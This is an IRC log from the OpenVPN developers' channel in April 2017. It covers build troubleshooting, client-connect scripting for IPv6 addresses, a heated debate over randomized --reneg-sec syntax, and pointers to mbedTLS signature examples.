slypknot> there appears to be a problem with the config parser : https://forums.openvpn.net/viewtopic.php?f=15&t=23799 07:07 <@vpnHelper> Title: Route add in windows client - OpenVPN Support Forum (at forums.openvpn.net) 07:07 < slypknot> I tested this myself 07:11 <@cron2> if you configure it that way, it will try to find a command called "route add ...", instead of a command "route" with arguments "add" 07:12 <@cron2> the quotes will make it *one* command with blanks in the name of the command (and there is no binary with that name) 07:12 <@cron2> I'm not sure if route-up takes more than argument, but if it does, leaving off the quotes would be the right thing here 07:13 < slypknot> ok 07:13 < slypknot> it appears to work if the \\ are replced by / 07:13 <@cron2> the man page is a bit thin on the correct quoting here 07:14 <@cron2> mmmh, maybe I'm on the wrong track with the "" and it's \ vs / indeed... 07:14 < slypknot> It is a bit odd because I quote parameters into other commands ok .. i'll try to find an example 07:16 < slypknot> that is on linux tho 07:18 < slypknot> also .. it seems that --route-up does not use the interactive service 07:18 < slypknot> but i guess we knew that already ? 07:19 < slypknot> is this worth a trac# 07:25 < slypknot> Then if I quote it as you advise : --route-up directive should have at most one parameter 07:26 < slypknot> to pass a list of parameters, try enclosing them in double quotes (") 07:26 < slypknot> looks like something is amiss 11:05 <@cron2> --route-up is not meant to install routes - it's the command ran *after* openvpn has installed the routes 11:05 <@cron2> normal people put stuff like "net use ..." in there ("things that can be done as soon as routing is in place") 12:19 < slypknot> ok thanks 13:22 < slypknot> cron2: i believe you use gentoo .. if i build openvpn 2.4.0 the normal way on gentoo openvpn cannot load elyptic curve certs, if i build on the same system with the generic/build system it can .. openssl 1.0.2k in both cases .. any idea ? 13:23 < slypknot> this is the error: 13:23 < slypknot> Sat Apr 1 19:16:06 2017 us=584915 OpenSSL: error:0609E09C:digital envelope routines:PKEY_SET_TYPE:unsupported algorithm 13:23 < slypknot> Sat Apr 1 19:16:06 2017 us=584951 OpenSSL: error:0B07706F:x509 certificate routines:X509_PUBKEY_get:unsupported algorithm 13:24 < slypknot> Sat Apr 1 19:16:06 2017 us=584964 OpenSSL: error:140BF10C:SSL routines:SSL_SET_CERT:x509 lib 13:24 < slypknot> Sat Apr 1 19:16:06 2017 us=584980 Cannot load inline certificate file 13:59 <@cron2> the ebuild has a libressl compatibility patch which affects EC stuff, as far as I can see 14:01 <@cron2> please try 2.4.1 "generic/build" and see if that one works 14:02 <@cron2> (... and make sure that the ebuild actually uses openssl, not libressl...) 14:03 <@cron2> as far as I can see the ebuild *also* wants to build with libressl unless you turn that off ("USE=-libressl") 14:03 <@cron2> compare by running "openvpn --version" and see if both builds actually use the same SSL lib 14:29 < slypknot> this is openvpn --version of the new binary 14:29 < slypknot> OpenVPN 2.4.1 [git:2.4/8731dfa7caaf8b6d] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Apr 1 2017 14:29 < slypknot> library versions: OpenSSL 1.0.2k 26 Jan 2017, LZO 2.08 14:29 < slypknot> but it still throws the error 14:30 < slypknot> also #gentoo said USE="-bindist" so i now have USE="-bindist -libressl" 14:32 < slypknot> if i build with the openvpn build-system where it downloads all the sources it works fine 14:33 < slypknot> soalso the error states OpenSSL .. would it not show libressl if it were built with that ? 15:18 < slypknot> also gentoo dev-libs/libressl [ Masked ] 15:20 <@cron2> well, libressl is an openssl fork, so from openvpn's point of view, we might not know when printing errors. --version will print what the library identifies itself as, so hopefully that would show libressl if libressl is used 15:21 <@cron2> does your own build build openssl as well? I never used that, just un-tar the source, cd openvpn-2.4.x ; ./configure ; make 15:22 <@cron2> and how did you build 2.4.1 "with error"? portage only has 2.4.0-r1? 15:27 < slypknot> to build with error : git clone openvpn | git checkout 2.4 origin/release/2.4 | autoreconf -ivf ./configure make 15:30 < slypknot> to build without error use this : https://github.com/OpenVPN/openvpn-build.git 15:30 <@vpnHelper> Title: GitHub - OpenVPN/openvpn-build: OpenVPN Build (at github.com) 15:30 < slypknot> edit build.vars (if needed) 15:31 < slypknot> then $ IMAGEROOT=`pwd`/image-native ./build 15:33 <@cron2> that sounds as if one of these is not using the same libssl as the other one - because "the tarball" has the same thing in it than the git checkout 15:33 <@cron2> compare with "ldd openvpn" what it lists as libssl and libcrypto 23:34 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 23:36 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Apr 03 2017 07:37 <@ecrist> good morning. 07:37 <@ecrist> wow, no activity yesterday. Quiet place. 07:43 <@ordex> :) 08:03 < MK__> Can someone point me to the code where the date (including control data) to be sent on socket for a specific state is determined? 08:29 <@dazo> MK__: date? 08:30 <@dazo> and also ... what kind of state information are you looking for? 08:41 < MK__> sorry, date -> data 08:45 < MK__> for instance, P_CONTROL_HARD_RESET_CLIENT_V2 09:20 <@dazo> ahh, oh those code paths are tricky to follow ... need to look more careful, but lots of that is handled in ssl_verify.c, iirc 09:21 < MK__> I remember one of you guys where in the middle of writing rfc for openvpn. Is it done? 09:22 <@dazo> far from done :) 09:22 * dazo is the one doing that 09:37 < MK__> And do you remember where the state control is handled? 09:44 <@dazo> no, not without digging into the code 09:46 <@dazo> MK__: it's not handled in a single place, but scattered all around, depending on the situation and the phase openvpn in is 09:46 < MK__> That makes it difficult to trace 09:46 <@dazo> I know 09:46 <@dazo> but which state are you looking for? there are several states 09:47 <@dazo> which influences each other some times 09:49 < MK__> I am looking at control channel atm, trying to find how request-responses are handled, where packets related to each control message are created, and how the next control message is determined 09:49 <@dazo> Ahh, I see 09:50 * dazo takes a deep dive into the code, to refresh his memory 09:51 <@dazo> MK__: Have you looked at this one? http://build.openvpn.net/doxygen/html/group__external__multiplexer.html 09:51 <@vpnHelper> Title: OpenVPN: External Multiplexer module (at build.openvpn.net) 09:52 * MK__ reading the document 09:54 <@dazo> read_incoming_link(), tls_pre_decrypt(), process_incoming_link_part1() and process_incoming_link_part2() covers the receiving side --- Day changed Tue Apr 04 2017 00:18 -!- Netsplit *.net <-> *.split quits: @cron2 01:20 -!- cron2_ [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:20 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 01:58 <@ordex> aloha :) 03:01 <@syzzer> mornin' :) 03:32 <@cron2_> 'ullo 06:12 -!- SCHAAP137 is now known as SCHAPiE 08:19 <@vpnHelper> RSS Update - tickets: #868: google authenticator is sending invalid code only in openvpn client <https://community.openvpn.net/openvpn/ticket/868> 08:30 <@ordex> O_o 12:20 <@cron2_> meeting tomorrow? 12:57 <@ecrist> mattock: ping 12:57 <@ecrist> I plan on putting some work in to easy-rsa soon. Not sure when, though. Now that this second book has published. 13:21 <@ordex> ecrist: oh, the book is out? 14:14 <@ecrist> ordex: yes. :) started shipping Saturday 14:14 <@ecrist> !book 14:14 <@vpnHelper> "book" is http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2! 14:14 <@ecrist> !forget book 14:15 <@vpnHelper> Joo got it. 14:15 <@ecrist> !learn book as http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2! 14:15 <@vpnHelper> Joo got it. 14:15 <@ecrist> !learn book as Jan and Eric's Mastering OpenVPN: https://www.packtpub.com/networking-and-servers/mastering-openvpn 14:15 <@vpnHelper> Joo got it. 14:16 <@ecrist> !learn book as Troubleshooting OpenVPN (April, 2017) by Eric Crist at https://www.packtpub.com/networking-and-servers/troubleshooting-openvpn 14:16 <@vpnHelper> Joo got it. 19:08 <@vpnHelper> RSS Update - tickets: #869: x86 binaries on x64 OS <https://community.openvpn.net/openvpn/ticket/869> --- Day changed Wed Apr 05 2017 02:21 -!- mode/#openvpn-devel [+o ordex] by ChanServ 02:49 <@syzzer> cron2_: I can't make it to a meeting tonight 02:52 <@cron2_> syzzer: snowboarding again? 02:53 <@cron2_> I could, but have no topics (except openssl 1.1 :) ) so that would make the meeting a bit futile 02:53 <@syzzer> hehe, nope, dinner with friends 02:53 <@syzzer> though I wouldn't mind another week of snowboarding :p 03:06 <@ordex> cron2_: the VLAN patches have been discussed in a previous meeting ? 03:10 <@cron2_> ordex: nobody had brains for that large and complex patch set 03:10 <@cron2_> so we agreed that "yes, we know it's on our agenda, but not today" or so 03:12 <@ordex> hehe okyz 04:12 <@mattock> I won't be available today, either 04:12 <@mattock> at least not in spirit 04:19 <@cron2_> as long as we can have your body and do things with it... 04:47 <@ordex> lol 04:47 * ordex does not want to know what cron2_ wants to do to mattock's body 05:34 <@mattock> my body is safely here in Finland 05:35 <@mattock> unless cron2 us traveling here right now it should be fine :) 08:20 <@dazo> mattock: never heard of tele-presence? ;-) 09:55 <@mattock> dazo: yes 09:55 <@mattock> I sure can be tele-present (=idle) on IRC and not respond to any questions :P 10:52 <@dazo> lol 10:57 < mator> is there any way to do ipv6 for clients not in linear mode (+1 every new client starting from ipv6:1000) 10:58 <@dazo> mator: I haven't tried it with IPv6, but believe a --client-connect generating IPv6 addresses on the fly could solve this ... you need to write that script though 10:58 < mator> i could probaby random ipv6 addresses for clients, but it would need ccd and some kind of scripting 11:00 < mator> let me test client-connect, thanks. 11:01 <@dazo> mator: one of the arguments provided to this script is a file name ... this file will be read by OpenVPN once the script returns successfully ("exit 0"), and its contents is actually the same as would be in a CCD file 11:05 <@cron2_> mator: built-in will always do linear, and as dazo says -> use ifconfig-ipv6-push, set from a client-connect script 11:18 < mator> i've used 11:18 < mator> script-security 2 11:18 < mator> client-connect /etc/openvpn/client-connect.sh 11:19 < mator> as well verb 7 11:20 < mator> where client-connect.sh has almost (#!/bin/bash preamble) one line with echo $@ > /tmp/client-connect-$$.log 11:22 < mator> and i don't see script being executed at all 11:23 < mator> what do i miss ... :-/ 11:26 <@dazo> mator: set verb to 4 ... and pastbin log 11:26 <@dazo> oh ... you probably want echo $* 11:28 < mator> thanks, going to check and paste logs if i'll fail again =) 11:28 <@dazo> mator: according to the man page, the last argument provided to the script is the "ccd" file name 11:39 < mator> i have logs ready 11:40 < mator> http://paste.debian.net/plain/926127 11:40 < mator> as it seen in log 11:40 < mator> Apr 05 19:32:05 yogzotot openvpn[14376]: t530/195.170.63.164:49602 OPTIONS IMPORT: reading client specific options from: /tmp/openvpn_cc_ceb9006bfcd88486c71b3b3d56498b9a.tmp 11:41 < mator> and no files in /tmp/client-connect* 11:41 < mator> rpm -q openvpn 11:41 < mator> openvpn-2.3.8-7.1.x86_64 11:41 < mator> opensuse leap 42.2 11:42 < mator> does it chroot? 11:42 < mator> probably 11:42 <@dazo> nope ... not unless you --chroot 11:43 < mator> ok, lets postpone it until i'll try latest git trunk/master 11:43 < mator> can't try right now... in train going back to moscow :) 11:43 <@dazo> this should work on 2.3 too 11:43 <@dazo> but upgrading is good too 11:44 <@dazo> can you try to start outside of systemd, just right on the cmdline? 11:44 < mator> sure 11:44 < mator> lets see.... 11:45 <@dazo> also log to stdout (no --log) and make your script print something you can easily identify 11:46 <@dazo> OPTIONS IMPORT: implies --client-connect is configured, not that it is running 11:46 <@dazo> oh, and check chmod and ownership of the scriot 11:48 < mator> dazo, it's in the beginning of log i've pasted earlier (root:root ownership:group and +x rights) 11:48 <@dazo> duh! 11:50 <@dazo> mator: what kind of security module is enabled? selinux? apparmor? 11:51 * dazo need to run to a meeting soon 11:52 < mator> if cd_dir defined to /etc/openvpn , do i need to specify relative or full path to client-connect script ? 11:53 <@dazo> relative would normally suffice 11:54 <@dazo> openvpn should complain at startup if it doesnt fid the script 11:54 <@dazo> *find 11:55 < mator> not sure about selinux, but seems like apparmor enabled 11:55 < mator> ? 11:55 < mator> http://paste.debian.net/plain/926128 11:55 < mator> going to test with relative script as well 11:55 < mator> relative script path 11:56 <@dazo> try running 'getenforce' .... that indicates selinux, but doubt it as apparmor is configured 11:57 <@dazo> I dunno much about apparmor these days (used it 8-9 years ago last time, presume much have happened there too) ... so that might be worth checking into, if there are restrictions what openvpn can do 11:57 * dazo gotta run 12:01 < mator> i believe selinux is disable , as i can't see labels with ls -Z (or it just needs to be relabeled?) 12:01 < mator> need to find opensuse package which provides getenforce command :-/ 12:03 < mator> sestatus -->>> disabled 12:04 < mator> as well getenforce -> disable (selinux-tools and policycoreutils rpm packages) 12:18 < mator> app-armor not-configured as well (but loaded, and does not have any enforcoing policies) 17:40 < slypknot> dazo: i know you stay up late sometimes .. re --reneg-sec ? 17:47 < slypknot> ok .. I just want to male sure that the randomness (for eg:10% jitter) is only a first run thing ! infact that *all* of the discussion is only for first-run and not re-randomised each time .. because that would be infuriating ! 18:27 <+krzee> slypknot: rekeying is important, without it you have no forward security 18:28 <+krzee> rekeying often is the only thing that kept default openvpn installs (whatever that means!) pretty secure when blowfish got weakened 18:29 < slypknot> hi krzee 18:29 < slypknot> i know 18:30 <+krzee> <slypknot> ok .. I just want to male sure that the randomness (for eg:10% jitter) is only a first run thing ! infact that *all* of the discussion is only for first-run and not re-randomised each time .. because that would be infuriating ! 18:30 <+krzee> ^ so that's false 18:32 < slypknot> its all in the air 18:32 < slypknot> dazo replied via email 18:33 <+krzee> cool 18:33 < slypknot> :) 18:33 <+krzee> it sounds like you're concerned with voip over ovpn 18:33 < slypknot> not at all 18:33 <+krzee> which ive been doing for like 7 years 18:34 <+krzee> oh cool 18:34 <+krzee> what else do you care about jitter for? streaming vids? 18:35 < slypknot> i think it is my lack of C which inclines me toward what sounds logical to a human .. but is perhaps less feasible to a computer program 18:35 < slypknot> or changing said program 18:36 <+krzee> i dont know c 18:37 <@dazo> krzee: there's a proposal on the ML that --reneg-sec will not necessarily happen exactly at the set value, but say 10-15% deviation. Which means that a server will most likely not be hit by all clients at the same time, but spread out over a smaller time window 18:37 <+krzee> seems like a fair option 18:37 < slypknot> I thought my idea was good .. and i think it has stood initial argument .. but alas .. changing C is not my forte and so i have to acquiess to what those who do know C prefer 18:37 <+krzee> (*option*) 18:38 <+krzee> if a server that had many clients connected reboots, they all reconnect at the same time, so this could be a thing 18:39 <+krzee> but like, if i mandate how long my reneg should be, there should be no deviation 18:39 <+krzee> if im king of my server, what i say must go! 18:39 <+krzee> thats my $.02 18:39 <@dazo> krzee: so we're discussing how to implement this ... so a proposal is to have the default being 1 hour with f.ex 10% deviation ... which means --reneg-sec can be used like: --reneg-sec 3600 (which results in reneg happening between 3240 and 3600) ... or you can do: --reneg-sec 2400 3600 ... where the reneg happens in that time window 18:40 <+krzee> ohhh 18:40 <+krzee> that second idea does it without adding a new option or mandating it 18:40 <+krzee> thats pretty clean! 18:40 <@dazo> exactly 18:40 <@dazo> and then there are a few details around that ... is --reneg-sec pushable? (I don't think so, haven't really checked the code though) 18:41 <+krzee> it doesnt need to be, because the server can kick it off 18:41 <+krzee> either one can 18:41 < slypknot> dazo: if you tack on a mandatory 10% people will moan .. if it is fully user configable .. they can do what they want 18:41 <+krzee> well i guess the server could push to client to stop client from going more often 18:41 <+krzee> (if its pushable) 18:41 <@dazo> krzee: yeah, but it you don't want a client to push the limits ... or extend it, it would be good to push it 18:41 <@dazo> yeah 18:41 <@dazo> on the other hand ... there is --pull-filter now :-P 18:42 <+krzee> haha trueeee 18:42 <+krzee> (thanx for that, guys! btw) 18:42 <@dazo> And the last challenge ... should the "randomness" be only for the first reneg ... so it will be on a predictable schedule after that (using the max value)? Or should all reneg have randomness involved? 18:43 < slypknot> dumb ^^ 18:43 < slypknot> ooption 2 18:43 <+krzee> why dumb? 18:43 <+krzee> after first reneg the problem is solved 18:43 <+krzee> they wont all bombard the server at the same time 18:43 < slypknot> as in re-random is ridiculous 18:44 <@dazo> in fact if all 200 clients have randomness involved ... at some point, more of them can clash at the same time ... causing the same congestion again 18:44 < slypknot> meh // 18:44 <+krzee> that last one is a tough question 18:44 <@dazo> it is 18:44 <+krzee> and im not sure i have an answer for it 18:44 <+krzee> the others i have my opinion 18:44 <@dazo> :) 18:45 < slypknot> there is a limit to what you should hold your selves responsible for 18:45 <+krzee> responsible? 18:45 < slypknot> what if your RNG generates the same offset for 10,000 clients on the trot ? 18:45 <@dazo> like it or not ... if something doesn't work well for users ... it will hit back on us developers ... regardless of which path we choose 18:46 < slypknot> like i saud: draw a line in the sand .. 18:46 <+krzee> 10k clients, i wanna see the server 18:46 <@dazo> well, first of all, I'd like to see an openvpn server tackling 10k users 18:46 < slypknot> a true rng could 18:46 <@dazo> even 500 is pushing it hard 18:47 <@dazo> the statistics for 500 rngs producing the same number once is far lower than 100 clients doing 1000 renegotiations over a limited time 18:49 <+krzee> i guess if random is specifically asked for, why stop at once 18:49 <@dazo> (so if presuming 1h is the default ... 1000 renegs is maximum ~41 days) 18:49 < slypknot> the only point i want to make is with regard to a user configable window --reneg-sec 3600 0 = as is now .. a --reneg-sec 3600 3600 (or 3599) is the right way to do it .. but not necessarily the easy way 18:49 <+krzee> and its not like it'll take much power to randomize that 18:50 <@dazo> fair point, krzee ... the point is to avoid congestion at the server ... so to spread out the reneg load on the server 18:50 <+krzee> oh right i get why it helps 18:50 <+krzee> a full server reboots, all rejoin around the same time, renegs all happen together 18:50 <@dazo> exactly 18:50 <+krzee> ive had it happen ;] 18:51 <@dazo> so the first round after the boot will be painful ... after that, it will be more spread out 18:52 <+krzee> at first i was confused at the usage of the word jitter, but i fully understand now =] 18:52 <@dazo> slypknot: FWIW, the default today, using the proposed syntax is: --reneg-sec 3600 3600 18:52 <@dazo> :) 18:52 < slypknot> and that is why i disagree 18:52 < slypknot> :) 18:52 <+krzee> between 3600 and 3600 18:52 <+krzee> makes sense to me 18:52 <+krzee> is it <lower limit> <upper limit> ? 18:52 <@dazo> slypknot: I honestly don't fully understand *what* you disagree about 18:53 <+krzee> cause if so, that makes sense to me 18:53 <@dazo> krzee: yeah ... or --reneg-sec min max 18:53 < slypknot> i am willing ro wait 18:53 < slypknot> while krzee catches up 18:53 <+krzee> im caught up 18:53 < slypknot> ok 18:53 <+krzee> min max makes hella sense to me 18:53 <+krzee> natural 18:54 < slypknot> --reneg-sec "what it is now" "Jitter" 18:54 < slypknot> ie 18:54 < slypknot> --reneg-sec 3600 = as it is now (no change to most configss) 18:54 <+krzee> thats not what jitter means 18:55 <+krzee> hey dazo, is min and max both required, or will old configs work? 18:55 < slypknot> --reneg-sec 3600 3600 = reneg by offset option #2 on first run .. then by first option aftrward 18:55 <+krzee> if 1 number, then its static? 18:55 <+krzee> slypknot: i dont agree with that method 18:56 <+krzee> that's dual static, not random 18:56 <@dazo> krzee: old should work too, that's a requirement .... but that will probably default to a 10-25% randomness value (not yet decided) .... so --reneg-sec 3600 in effect becomes --reneg-sec 3240 3600 18:56 < slypknot> krzee: --reneg-sec 3600 360 = reneg 3600 but on first run offest by 360 = 10% jitter 18:57 <+krzee> i dont like automatic randomness, unless not specified in the config manually at all 18:57 < slypknot> exactly 18:57 < slypknot> they are proposing an insane change 18:57 < slypknot> eg 18:57 <@dazo> krzee: normally, I'd agree ... but I think for --reneg-sec it will actually benefit most users out-of-the-box 18:58 <+krzee> so reneg-sec 3600 stays as is, but if not defined manually it could have a randomness 18:58 < slypknot> --renec-sec %offset Total 18:58 <+krzee> most users dont specify, so randomizing that would help out of box 18:58 <+krzee> but if defined explicitly, it should be listened to explicitly 18:58 < slypknot> dazo 18:59 < slypknot> i am not letting this go till i am satisfied 18:59 < slypknot> :) 18:59 <@dazo> slypknot: we're neither obliged to listen and agree to you ;-) 18:59 < slypknot> not a threat .. just i beleive 18:59 <+krzee> so default could be --reneg-sec 3240 3600 , but reneg-sec 3600 would stay as is 18:59 <@dazo> krzee: that's a fair point 18:59 <+krzee> those who dont define reneg-sec would get randomized 19:00 <+krzee> which is most people 19:00 <+krzee> but those who care can have what ever control they demand 19:00 < slypknot> we hope 19:00 <@dazo> well ... on client side, I would agree ... but not so convinced on the server side 19:00 <+krzee> i need to control reneg-sec when testing my reneg on phones 19:00 <+krzee> i check if the phone cpu can handle 19:00 <+krzee> i dont want *forced* randomization 19:01 < slypknot> dazo: i think everybody should agree to either "FIRST-RUB" OR "EVERY-TIME" FIRST 19:01 <+krzee> slypknot: i strongly disagree 19:01 < slypknot> krzee: likewise 19:02 <+krzee> with you 19:02 <+krzee> :D 19:02 < slypknot> krzee: likewise 19:02 <+krzee> we both disagree with you! 19:02 < slypknot> unless the aim is to make openvpn stupidly complicated 19:03 < slypknot> --reneg-sec total first-run-offset 19:03 <+krzee> your way doesnt even solve the problem 19:03 <@dazo> krzee++ 19:03 < slypknot> that is my vote 19:03 < slypknot> oy solves it with the maximum window 19:03 < slypknot> it* 19:03 <@dazo> krzee: I proposed 17% ... which for the 1h default means a 10 minute time-window for the reneg randomness .... would that really hit your phones that badly? Just trying to understand the impact better 19:04 < slypknot> and is fullt user configable 19:04 <+krzee> dazo: i only need it specific when testing, 10min of randomness would be nice 19:04 < slypknot> and defautl --reneg-sec 3600 behaviour is unchanged 19:04 <@dazo> slypknot: I highly doubt we will end up with anything else than --reneg-sec min max as the syntax. that is the simplest and most comprehensible syntax to most users 19:04 <+krzee> i just feel that unix appsw need to listen to us, if we give an exact time it should be exact 19:05 <+krzee> i agree, min max is so natural 19:05 <+krzee> (and actually solves the problem) 19:05 < slypknot> dumb ^^ 19:05 < slypknot> max is *as is* 19:06 <+krzee> or is min, as is? 19:06 <+krzee> lol 19:06 < slypknot> oh well ... lets see how you integrate your idea with SWERET32 19:06 <+krzee> kinda depends on how the config is set 19:06 <+krzee> optional! 19:06 < slypknot> exavtly 19:06 <+krzee> so whats the problem? 19:06 <@dazo> slypknot: SWEET32 isn't touching --reneg-sec ... it's touching --reneg-bytes, so that doesn't comply at all 19:07 < slypknot> what people do set reneg-sec manually ? 19:07 < slypknot> what if* ^^ 19:07 <@dazo> slypknot: openvpn will allow *two* ways ..... --reneg-sec max *OR* --reneg-sec min max 19:07 < slypknot> sounds insane to me dazo 19:08 <@dazo> no. *that* is sane, because it doesn't break any configurations 19:08 < slypknot> why not have --server --pool --ip-address 19:08 <+krzee> very sane 19:08 < slypknot> and not the way it *is* done ..... 19:09 <+krzee> although i like --reneg-sec <exact> like before 19:09 <+krzee> and reneg-sec min max 19:09 < slypknot> exactly !!!!!! 19:09 < slypknot> no 19:09 <@dazo> slypknot: you have that already .... --mode server --ifconfig x.x.x.x --ifconfig-pool x.x.x.y x.x.x.z 19:09 <+krzee> with the default by openvpn being a valuer with min max defined 19:09 <@dazo> slypknot: --server is a "macro" doing all that for you 19:09 < slypknot> dazo yes .. but The Other Way Around ! 19:10 < slypknot> --reneg-sec total window 19:10 <@dazo> because we do NOT want to add more options .... we have 244 of them already, if I remember the last count correctly 19:10 < slypknot> not --reneg-sec $bollox total 19:11 < slypknot> I am figting for you ! 19:11 -!- slypknot was kicked from #openvpn-devel by dazo [Catch this!] 19:11 < slypknot> lol 19:11 < slypknot> i still disagree 19:11 <+krzee> cash him ousside! 19:12 <+krzee> how bout dat! 19:12 <+krzee> :D 19:12 <@dazo> :-P 19:12 <+krzee> my first thought was to add an option, but min max solves that beautifully 19:13 < slypknot> --reneg-sec total-expected-as-it-is-now new-offset-option-and-let-them-get-a-calculator-out-to-work-out-1%-jutter 19:14 <@dazo> slypknot: drop it. You're down-voted. 19:16 < slypknot> what about routers ? 19:17 <@dazo> ?? 19:17 < slypknot> if they only send --reneg-sec 3600 by default 19:17 < slypknot> i do not understand why the offset (or what ever it is to be called) has to go first ? 19:18 <@dazo> its not the offset ... it is "minimum" ... --reneg-sec 2000 3000 translates to renegotiation happens first after minimum 2000 seconds but before the maximum of 3000 seconds 19:19 < slypknot> ok .. 19:19 < slypknot> i see the point 19:20 < slypknot> but .. that means you will have to make over-rides on a lot of systems 19:20 <@dazo> why? 19:20 < slypknot> --reneg-sec 3600 is the default 19:20 <@dazo> we will ensure that --reneg-sec 3600 works too ... that will be the default 19:21 < slypknot> ok .. so you are essentially saying "no-jitter" by default 19:21 < slypknot> ? 19:21 <@dazo> krzee have given a fair argument that this syntax should have no randomness .... but there is a proposal on the ML that this syntax will have a hard coded time-window for randomness 19:21 < slypknot> ^^ no like 19:22 < slypknot> i dont like the hard-coded bit 19:22 <@dazo> I've heard that ... but no arguments why you don't like it. krzee did provide some reasonable arguments to consider 19:22 < slypknot> i disagree again 19:23 <+krzee> slypknot: jitter is change in ping, often used in telecommunications 19:23 < slypknot> sorry krzee :) 19:23 <+krzee> np =] 19:23 < slypknot> yes .. jitter has been established for the purpose of this discusssion 19:23 < slypknot> via cran2 19:24 < slypknot> you know who 19:24 < slypknot> cron2 19:24 < slypknot> somebody had to 19:25 < slypknot> my argument is --reneg-sec total-after-first-time first-time-offset .. is more reasonable and easy to configure 19:26 < slypknot> and documnet 19:26 -!- slypknot was kicked from #openvpn-devel by dazo [I said DROP IT!] 19:27 < slypknot> it is open source .. i'll drop it .. but i totally disagree 19:27 <@dazo> guess what ... We've understood that! 19:28 * slypknot dropped it 19:28 <@dazo> But face reality, slypknot .... plaisthos proposed that syntax, cron2 and I agree to it, krzee likes it too 19:28 < slypknot> sure .. but i am allowed to disagree 19:29 <@dazo> gee .... you're worse than small kids 19:29 <@dazo> grow up! 19:29 < slypknot> dazo: krzee .. no problem .. i made my point .. you listened .. we disagree .. it's ok 19:29 < slypknot> i am gonna drop it 19:30 < slypknot> yeah .. Skids :) .. i bet you have too much now !!! 19:31 <+krzee> !botsnack 19:31 < slypknot> nom nom nom 19:31 <+krzee> ya bot didnt know it for this channel :( 19:31 < slypknot> was it an insult ? 19:31 <+krzee> nope 19:31 < slypknot> i am also banned from #openvpn :( 19:32 <+krzee> the bot just says om nom nom (like you did 19:32 < slypknot> :) 19:32 < slypknot> eat me :D 19:32 < slypknot> no offence ! 19:40 < slypknot> dazo: drop it on email .. Please ! 19:45 < slypknot> i still disagree .. good night 19:47 < slypknot> cron2_: bought up 2fa not me 23:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 246 seconds] 23:16 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 23:16 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Thu Apr 06 2017 06:08 <@plaisthos> dazo: small nitpick to your mail, ping packets are on the data channel 06:08 <@dazo> plaisthos: oh, are they? ICMP, yes ... but the --ping feature too? 06:08 <@plaisthos> yes 06:09 <@dazo> thx! I will try to correct my faulty memory :) 06:09 <@plaisthos> it is a specific "random" byte sequence send as data packet 06:10 <@plaisthos> other side somewhere does if (packet.bytes[] == ping.bytes[]) then ping else normal data packet 06:11 <@dazo> yeah, that detail I remember ... just missing the correct channel 06:15 <@mattock> dazo: you tried to poke me last evening 06:15 * dazo tries to recall last night ..... 06:15 <@mattock> :P 06:20 <@ordex> aloha 06:22 <@dazo> hey! 06:28 <@syzzer> oh, wow, this discussion escalated quickly... 06:31 <@ordex> we already know what we wanted to say, no need to spend time typing 06:31 <@ordex> :P 07:18 <@ordex> ah talking about reneg-sec xD 08:24 <@dazo> dinner time :) 09:00 <@vpnHelper> RSS Update - tickets: #870: iOS: Pushing "Connection" deleted UserID and Password <https://community.openvpn.net/openvpn/ticket/870> 12:34 <@dazo> hmmmm .... I wonder if we have introduced a regression on deferred authentication .... seems broken even in 2.3.13 .... doing git bisect now ... a known point where it did work was v2.1_rc7(!) 12:49 <@ecrist> any of you knowledgeable in mbedtls willing to answer a couple questions for me? 12:49 <@ecrist> We're trying to do some file signing for an embedded device at $work 12:49 <@ecrist> the embedded device is running ARM and we're looking to use public/private keys to sign files, and verify them before the device installs them 12:50 <@ecrist> what would be the function calls I should look for? Is this in PKCS1? 12:50 <@dazo> ecrist: doing this in C? 12:50 <@ecrist> dazo: yes, doing this is C 12:51 <@ecrist> in* 12:51 <@ecrist> and I'm not, someone here at $work is, and I need to try and explain to them how to do it. They've never done signing or anything with crypto before. 12:52 <@dazo> just so I understand ... you have a binary blob, submit that + a signature ... and you want to verify the binary blob is unchanged ... similar to gpg -v ? 12:52 <@ecrist> yup! exactly 12:52 <@ecrist> it's not only that's it's unchanged, but verify the signature is trusted (authentication + verification) 12:53 <@dazo> right 12:55 <@dazo> ecrist: I believe this should get you in the right direction .... https://github.com/ARMmbed/mbedtls/blob/master/programs/pkey/rsa_verify.c 12:55 <@vpnHelper> Title: mbedtls/rsa_verify.c at master · ARMmbed/mbedtls · GitHub (at github.com) 12:55 <@dazo> https://github.com/ARMmbed/mbedtls/blob/master/programs/pkey/rsa_sign.c 12:55 <@vpnHelper> Title: mbedtls/rsa_sign.c at master · ARMmbed/mbedtls · GitHub (at github.com) 12:55 <@ecrist> thanks dazo! 12:57 <@dazo> that is the file signing + verification ... for the signature verification, I am not completely sure yet 12:57 <@dazo> but .... perhaps this is a better approach .... https://github.com/ARMmbed/mbedtls/blob/master/programs/pkey/pk_sign.c 12:57 <@dazo> and 12:57 <@vpnHelper> Title: mbedtls/pk_sign.c at master · ARMmbed/mbedtls · GitHub (at github.com) 12:57 <@dazo> https://github.com/ARMmbed/mbedtls/blob/master/programs/pkey/pk_verify.c 12:57 <@vpnHelper> Title: mbedtls/pk_verify.c at master · ARMmbed/mbedtls · GitHub (at github.com) 13:03 <@dazo> ecrist: ^^^ (just in case you missed those two last urls) 13:03 <@ecrist> yeah, I saw those too. I think you're right, those are the better option. 13:03 <@ecrist> thanks a lot! 13:04 <@dazo> yw! 13:16 <@dazo> *grmbl* ... so my failing test suddenly doesn't fail with the old binary .... 13:16 * dazo ponders what changed 13:47 <@dazo> hmmm might have been some old cruft which did not get rebuilt with the defer/build approach --- Day changed Fri Apr 07 2017 02:16 <@syzzer> ecrist: indeed, pk.h is the place to look: https://tls.mbed.org/api/pk_8h.html#abf1939cc1d89f6b9fd341b67d5241914 02:16 <@vpnHelper> Title: pk.h File Reference - API Documentation - mbed TLS (Previously PolarSSL) (at tls.mbed.org) 10:55 